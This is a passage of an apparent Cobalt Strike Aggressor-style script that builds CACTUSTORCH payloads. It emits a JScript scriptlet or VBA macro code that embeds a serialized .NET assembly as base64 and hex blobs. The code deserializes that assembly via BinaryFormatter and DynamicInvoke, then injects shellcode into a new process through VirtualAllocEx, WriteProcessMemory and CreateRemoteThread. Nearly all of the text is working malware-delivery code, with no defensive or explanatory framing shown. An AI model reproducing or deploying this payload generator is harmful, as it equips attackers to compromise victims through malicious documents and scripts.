$data = $data . "\"dGlvbgBscFN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3Rk\"+\r\n";
$data = $data . "\"RXJyb3IALmN0b3IAbHBTZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGlj\"+\r\n";
$data = $data . "\"cwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJT\"+\r\n";
$data = $data . "\"ZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVz\"+\r\n";
$data = $data . "\"AGxwUHJvY2Vzc0F0dHJpYnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBD\"+\r\n";
$data = $data . "\"cmVhdGVQcm9jZXNzRmxhZ3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMA\"+\r\n";
$data = $data . "\"ZHdZQ291bnRDaGFycwBUZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBB\"+\r\n";
$data = $data . "\"ZGRyZXNzAGxwU3RhcnRBZGRyZXNzAENvbmNhdABPYmplY3QAZmxPbGRQcm90ZWN0AGZsUHJvdGVj\"+\r\n";
$data = $data . "\"dABmbE5ld1Byb3RlY3QAbHBFbnZpcm9ubWVudABDb252ZXJ0AGhTdGRJbnB1dABoU3RkT3V0cHV0\"+\r\n";
$data = $data . "\"AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AFZpcnR1YWxQcm90ZWN0RXgAYmluYXJ5AFdyaXRl\"+\r\n";
$data = $data . "\"UHJvY2Vzc01lbW9yeQBscEN1cnJlbnREaXJlY3RvcnkAb3BfRXF1YWxpdHkAb3BfSW5lcXVhbGl0\"+\r\n";
$data = $data . "\"eQAAAQAZUAByAG8AZwByAGEAbQBXADYANAAzADIAAA13AGkAbgBkAGkAcgAAFVwAUwB5AHMAVwBP\"+\r\n";
$data = $data . "\"AFcANgA0AFwAABVcAFMAeQBzAHQAZQBtADMAMgBcAAADMAAAABZi8URz/RpBkHALmYfP+r4ABCAB\"+\r\n";
$data = $data . "\"AQgDIAABBSABARERBCABAQ4EIAEBAg4HCR0FGBIcERAOGBgIGAUAAR0FDgQAAQ4OAyAACAYAAw4O\"+\r\n";
$data = $data . "\"Dg4CBhgDIAAOBQACAg4OBAABCBwIt3pcVhk04IkEAQAAAAQCAAAABAQAAAAECAAAAAQQAAAABCAA\"+\r\n";
$data = $data . "\"AAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAIAAAEABAAAAQAIAAABABAAAAEAIAAAAQAAAEA\"+\r\n";
$data = $data . "\"BAAAAgAEAAAEAAQAAAgABAAAEAAEAAAgAAQAAAABBAAAAAIEAAAABAQAAAAIBAAAABAEAAAAIAQA\"+\r\n";
$data = $data . "\"AABABAAAAIAEADAAAAQAAEAAAgYIAgYCAgYJAwYRFAMGERgCBgYDBhEgAwYRJBMAChgODhIMEgwC\"+\r\n";
$data = $data . "\"ERQYDhIcEBEQCgAFGBgYGBEgESQJAAUYGBgYESQYCQAFAhgYHQUYCAUAAgIYCQoABxgYGAkYGAkY\"+\r\n";
$data = $data . "\"BSACAQ4OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAABAB\"+\r\n";
$data = $data . "\"AAtDQUNUVVNUT1JDSAAABQEAAAAABQEAAQAAKQEAJDU2NTk4ZjFjLTZkODgtNDk5NC1hMzkyLWFm\"+\r\n";
$data = $data . "\"MzM3YWJlNTc3NwAADAEABzEuMC4wLjAAAAAAAMQ1AAAAAAAAAAAAAN41AAAAIAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAADQNQAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAg\"+\r\n";
$data = $data . "\"ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA\"+\r\n";
$data = $data . "\"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A\"+\r\n";
$data = $data . "\"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA\"+\r\n";
$data = $data . "\"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA\"+\r\n";
$data = $data . "\"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs\"+\r\n";
$data = $data . "\"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA\"+\r\n";
$data = $data . "\"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA\"+\r\n";
$data = $data . "\"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA\"+\r\n";
$data = $data . "\"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu\"+\r\n";
$data = $data . "\"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA\"+\r\n";
$data = $data . "\"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV\"+\r\n";
$data = $data . "\"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\"+\r\n";
$data = $data . "\"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP\"+\r\n";
$data = $data . "\"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA\"+\r\n";
$data = $data . "\"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw\"+\r\n";
$data = $data . "\"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA\"+\r\n";
$data = $data . "\"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAADAAAAwAAADwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv\"+\r\n";
$data = $data . "\"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA\";\r\n";
$data = $data . "var entry_class = 'cactusTorch';\r\n";
$data = $data . "try {\r\n";
$data = $data . " setversion();\r\n";
$data = $data . " var stm = base64ToStream(serialized_obj);\r\n";
$data = $data . " var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');\r\n";
$data = $data . " var al = new ActiveXObject('System.Collections.ArrayList');\r\n";
$data = $data . " var n = fmt.SurrogateSelector;\r\n";
$data = $data . " var d = fmt.Deserialize_2(stm);\r\n";
$data = $data . " al.Add(n);\r\n";
$data = $data . " var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);\r\n";
$data = $data . " o.flame(binary,code);\r\n";
$data = $data . "} catch (e) {\r\n";
$data = $data . " debug(e.message);\r\n";
$data = $data . "}]]></script>\r\n";
$data = $data . " </registration>\r\n";
$data = $data . " </component>\r\n";
$data = $data . "</package>\r\n";
}
else{
# They want VBA Macros
# We need to take the base64 stream and chunk it up into format:
# code = code & \"chunk\"
$insert = " code = \"\"\r\n";
@chunks = split("(?<=\\G.{100})", $b64payload);
foreach $var (@chunks){
$insert = $insert . " code = code & \"" . $var . "\"\r\n";
}
#$data = $insert;
$data = $data . "Public binary As String\r\n";
$data = $data . "Public code As String\r\n";
$data = $data . "Sub SetVersion\r\n";
$data = $data . "Dim shell\r\n";
$data = $data . "Set shell = CreateObject(\"WScript.Shell\")\r\n";
$data = $data . "Dim ver\r\n";
$data = $data . "ver = \"v4.0.30319\"\r\n";
$data = $data . "On Error Resume Next\r\n";
$data = $data . "shell.RegRead \"HKLM\\\\SOFTWARE\\\\\\\\Microsoft\\\\.NETFramework\\\\v4.0.30319\"\r\n";
$data = $data . "If Err.Number <> 0 Then\r\n";
$data = $data . " ver = \"v2.0.50727\"\r\n";
$data = $data . " Err.Clear\r\n";
$data = $data . "End If\r\n";
$data = $data . "shell.Environment(\"Process\").Item(\"COMPLUS_Version\") = ver\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "Sub Init()\r\n";
$data = $data . " SetVersion\r\n";
# Insert binary here
$data = $data . " binary = \"". %options["binary"] . "\"\r\n";
$data = $data . " code = \"\"\r\n";
# Insert code here
$data = $data . $insert;
$data = $data . "End Sub\r\n";
$data = $data . "Private Function decodeHex(hex)\r\n";
$data = $data . " On Error Resume Next\r\n";
$data = $data . " Dim DM, EL\r\n";
$data = $data . " Set DM = CreateObject(\"Microsoft.XMLDOM\")\r\n";
$data = $data . " Set EL = DM.createElement(\"tmp\")\r\n";
$data = $data . " EL.DataType = \"bin.hex\"\r\n";
$data = $data . " EL.Text = hex\r\n";
$data = $data . " decodeHex = EL.NodeTypedValue\r\n";
$data = $data . "End Function\r\n";
$data = $data . "Function Run()\r\n";
$data = $data . " Dim serialized_obj\r\n";
$data = $data . " serialized_obj = \"0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C697A6174696F\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300303033053797374656D2E44656C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E7472792253797374656D2E44656C65\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6761746553657269616C697A6174696F6E486F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"666F53657269616C697A6174696F6E486F6C64657209020000000903000000090400000004020000003053797374656D2E44\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727907000000047479706508\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"617373656D626C79067461726765741274617267657454797065417373656D626C790E746172676574547970654E616D650A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6D6574686F644E616D650D64656C6567617465456E747279010102010101033053797374656D2E44656C6567617465536572\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"69616C697A6174696F6E486F6C6465722B44656C6567617465456E74727906050000002F53797374656D2E52756E74696D65\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"2E52656D6F74696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"376135633536313933346530383906070000000774617267657430090600000006090000000F53797374656D2E44656C6567\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"617465060A0000000D44796E616D6963496E766F6B650A04030000002253797374656D2E44656C656761746553657269616C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300307033053797374\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E747279022F53797374\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C646572090B000000090C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000090D00000004040000002F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6174696F6E486F6C64657206000000044E616D650C417373656D626C794E616D6509436C6173734E616D65095369676E6174\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7572650A4D656D626572547970651047656E65726963417267756D656E7473010101010003080D53797374656D2E54797065\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"5B5D090A0000000906000000090900000006110000002C53797374656D2E4F626A6563742044796E616D6963496E766F6B65\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"2853797374656D2E4F626A6563745B5D29080000000A010B0000000200000006120000002053797374656D2E586D6C2E5363\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"68656D612E586D6C56616C756547657474657206130000004D53797374656D2E586D6C2C2056657273696F6E3D322E302E30\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"2E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"383906140000000774617267657430090600000006160000001A53797374656D2E5265666C656374696F6E2E417373656D62\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6C790617000000044C6F61640A0F0C000000001E0000024D5A90000300000004000000FFFF0000B800000000000000400000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00504500004C0103005886A25A0000000000000000E00022200B013000001600000006000000000000EE3500000020000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4000000000001000200000000200000400000000000000040000000000000000800000000200000000000003004085000010\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00001000000000100000100000000000001000000000000000000000009C3500004F00000000400000900300000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"74657874000000F4150000002000000016000000020000000000000000000000000000200000602E72737263000000900300\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00004000000004000000180000000000000000000000000000400000402E72656C6F6300000C000000006000000002000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"1C00000000000000000000000000004000004200000000000000000000000000000000D03500000000000048000000020005\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000C220000901300000100000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000001E02280F00000A2A13300A001C0100000100001104281000000A0A1201068E69281100\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000A730A0000060C08167D35000004720100007013047203000070281200000A6F1300000A163119721D000070281200000A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"722B00007003281400000A13042B17721D000070281200000A724100007003281400000A13041104141414171A7E1500000A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"14081203280100000626097B0400000413051205281600000A7257000070281700000A3980000000110516731100000A0720\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"003000001A280200000613061206281600000A7257000070281800000A2C0A1105162805000006262A1613071208068E6928\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"1100000A11051106061108110728040000062611051106071F2016731100000A280300000626110516731100000A16110616\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"731100000A1616731100000A2806000006262A7A027E1500000A7D0200000402280F00000A0202281900000A7D010000042A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00133002006000000000000000027E1500000A7D2B000004027E1500000A7D2C000004027E1500000A7D2D000004027E1500\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000A7D38000004027E1500000A7D39000004027E1500000A7D3A000004027E1500000A7D3B00000402280F00000A02022819\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000A7D2A0000042A42534A4201000100000000000C00000076322E302E35303732370000000005006C0000005C07000023\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7E0000C80700007409000023537472696E6773000000003C1100005C00000023555300981100001000000023475549440000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00A8110000E801000023426C6F620000000000000002000001571D02140902000000FA013300160000010000001700000009\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000500000000A000000240000001900000033000000120000000100000001000000060000000100000001000000070000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000990601000000000006005C0592070600C905920706008A0460070F00B20700000600B204E10606003005E106060011\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"05E1060600B005E10606007C05E10606009505E1060600C904E10606009E04730706007C0473070600F404E1060600AB08A9\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0606006104A90606004D05A9060600B006A9060600E408A90606005907A9060600D808A90606006606A90606008406730700\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000025000000000001000100010010006D0600003D00010001000A001000F80700003D00010009000A011000CE06000041\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0004000A00020100001B080000490008000A000201000036080000490027000A000A001000060700003D002A000A00020100\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"006D04000049003C000B0002010000F3060000490045000B0006007D06FA00060044073F0006002404FD00060074083F0006\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00E7033F000600C803FA000600BD03FA0006069E0300015680B20203015680C00203015680640003015680880203015680C2\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0003015680530203015680F101030156801D0203015680050203015680A001030156800203030156805E0103015680480103\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"015680E101030156804D02030156803102030156806A03030156808203030156809902030156801D03030156807601030156\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"807500030156803D0003015680270103015680A800030156803A0303015680B90103015680180103015680C60103015680E5\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"02030106069E0300015680910007015680720207010600A603FA000600EF033F00060017073F00060033043F0006004B03FA\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0006009A03FA000600E705FA000600EF05FA0006004708FA0006005508FA000600E404FA0006002E08FA00060001090B0106\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000D000B01060019003F000600EC083F000600F6083F00060034073F0006069E0300015680DE020E015680EF000E0156809D\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"010E015680D8020E015680D5010E0156800F010E01568094010E01568003010E0106069E0300015680E70012015680570012\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"015680D500120156805803120156806902120156804F0312015680DD00120156806003120156801106120156802406120156\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"803906120100000000800096202E001601010000000000800096200D092A010B0000000000800096201C0935011000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"008000962034093F0115000000000080009620630849011A000000000080009120D4034F011C0050200000000086183E0706\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00230058200000000086004D045A01230080210000000086183E0706002500A0210000000086183E0706002500000001003B\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0400000200530400000300E40700000400D10700000500C107000006000B0800000700D60800000800470901000900040702\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000A00CC06000001001B04000002008B08000003000306000004006B0400000500BF08000001001B04000002008B08000003\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00030600000400C90800000500B208000001007408000002007D0800000300210700000400030600000500B5060000010074\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0800000200FA0300000100740800000200D10700000300F705000004009508000005002807000006000B0800000700B20300\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0001002D0900000200010009003E07010011003E07060019003E070A0029003E07100031003E07100039003E07100041003E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"07100049003E07100051003E07100059003E07100061003E07150069003E07100071003E07100089003E07060079003E0706\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00990053062900A1003E070100A90004042F00B10079063400B100A4083800A10012073F00A10064064200B10066094600B1\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"005A094600B9000A064C00090024005A00090028005F0009002C006400090030006900090034006E0009003800730009003C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"007800090040007D0009004400820009004800870009004C008C00090050009100090054009600090058009B0009005C00A0\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0009006000A50009006400AA0009006800AF0009006C00B40009007000B90009007400BE0009007800C30009007C00C80009\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"008000CD0009008400D20009008800D70009008C00DC0009009000E10009009400E60009009800EB000900A0005A000900A4\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"005F000900F40096000900F8009B000900FC00F00009000001B90009000401E10009000801F50009000C01BE0009001001C3\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00090018016E0009001C017300090020017800090024017D00090028015A0009002C015F0009003001640009003401690009\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"003801820009003C018700090040018C002E000B0060012E00130069012E001B0088012E00230091012E002B0091012E0033\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00A2012E003B00A2012E00430091012E004B0091012E005300A2012E005B00A8012E006300AE012E006B00D80143005B00A8\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"01A30073005A00C30073005A00030173005A00230173005A001A008C06000103002E000100000105000D090100000107001C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"090100000109003409010000010B006308010000010D00D4030100048000000100000000000000000000000000F700000002\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000000000000000000005100A9030000000003000200040002000500020006000200070002000800020009000200000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00007368656C6C636F64653332006362526573657276656432006C70526573657276656432003C4D6F64756C653E00437265\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"61746550726F6365737341004352454154455F425245414B415741595F46524F4D5F4A4F4200455845435554455F52454144\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"004352454154455F53555350454E4445440050524F434553535F4D4F44455F4241434B47524F554E445F454E44004455504C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"49434154455F434C4F53455F534F55524345004352454154455F44454641554C545F4552524F525F4D4F4445004352454154\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"455F4E45575F434F4E534F4C4500455845435554455F52454144575249544500455845435554450052455345525645004341\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"43545553544F5243480057524954455F574154434800504859534943414C0050524F46494C455F4B45524E454C0043524541\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"54455F50524553455256455F434F44455F415554485A5F4C4556454C004352454154455F5348415245445F574F575F56444D\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"004352454154455F53455041524154455F574F575F56444D0050524F434553535F4D4F44455F4241434B47524F554E445F42\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4547494E00544F505F444F574E00474F004352454154455F4E45575F50524F434553535F47524F55500050524F46494C455F\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"555345520050524F46494C455F534552564552004C415247455F5041474553004352454154455F464F524345444F53004944\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4C455F5052494F524954595F434C415353005245414C54494D455F5052494F524954595F434C41535300484947485F505249\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4F524954595F434C4153530041424F56455F4E4F524D414C5F5052494F524954595F434C4153530042454C4F575F4E4F524D\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"414C5F5052494F524954595F434C415353004E4F414343455353004455504C49434154455F53414D455F4143434553530044\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"455441434845445F50524F43455353004352454154455F50524F5445435445445F50524F434553530044454255475F50524F\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"434553530044454255475F4F4E4C595F544849535F50524F4345535300524553455400434F4D4D4954004352454154455F49\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"474E4F52455F53595354454D5F44454641554C54004352454154455F554E49434F44455F454E5649524F4E4D454E54004558\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"54454E4445445F53544152545550494E464F5F50524553454E54004352454154455F4E4F5F57494E444F5700647758005245\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"41444F4E4C5900455845435554455F5752495445434F505900494E48455249545F504152454E545F414646494E4954590049\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4E48455249545F43414C4C45525F5052494F52495459006477590076616C75655F5F006362006D73636F726C6962006C7054\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"68726561644964006477546872656164496400647750726F6365737349640043726561746552656D6F746554687265616400\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"68546872656164006C705265736572766564007545786974436F646500476574456E7669726F6E6D656E745661726961626C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"65006C7048616E646C650062496E686572697448616E646C65006C705469746C65006C704170706C69636174696F6E4E616D\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6500666C616D65006C70436F6D6D616E644C696E650056616C75655479706500666C416C6C6F636174696F6E547970650047\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"746500417373656D626C795469746C6541747472696275746500417373656D626C7954726164656D61726B41747472696275\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"746500647746696C6C41747472696275746500417373656D626C7946696C6556657273696F6E417474726962757465004173\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"73656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E4174\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7472696275746500466C61677341747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F70797269676874417474\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"72696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C69\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"74794174747269627574650064775853697A650064775953697A65006477537461636B53697A6500647753697A650053697A\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"654F660047554152445F4D6F646966696572666C6167004E4F43414348455F4D6F646966696572666C616700575249544543\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4F4D42494E455F4D6F646966696572666C61670046726F6D426173653634537472696E6700546F537472696E670063616374\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7573546F726368006765745F4C656E677468004D61727368616C006B65726E656C33322E646C6C00434143545553544F5243\"\r\n";
